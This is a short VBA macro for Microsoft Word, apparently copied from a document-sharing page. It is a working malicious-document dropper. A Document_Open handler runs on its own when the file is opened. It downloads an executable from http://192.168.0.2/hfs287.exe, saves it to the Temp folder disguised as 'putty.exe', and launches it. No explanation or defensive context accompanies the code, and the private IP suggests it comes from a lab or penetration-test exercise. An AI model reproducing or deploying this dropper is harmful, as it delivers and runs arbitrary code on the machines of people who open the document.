Sie sind auf Seite 1von 1

#If Win64 Then

Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller A


s Long, ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long)
#Else
Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long,
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long)
#End If
Sub ToggleHyperlinkCtrlClick()
Options.CtrlClickHyperlinkToOpen = Not Options.CtrlClickHyperlinkToOpen
End Sub
Sub Document_Open()
DownloadAndExecute
End Sub

Sub DownloadAndExecute()
Dim URL AS String
Dim FILE AS String
URL = "http://192.168.0.2/hfs287.exe"
FILE = Environ("Temp") & "\" & "putty" & ".exe"
URLDownloadToFileA 0, URL, FILE, 0, 0
If Len(Dir(FILE)) > 0 Then
Shell FILE, vbNormalFocus
End If
End Sub

Das könnte Ihnen auch gefallen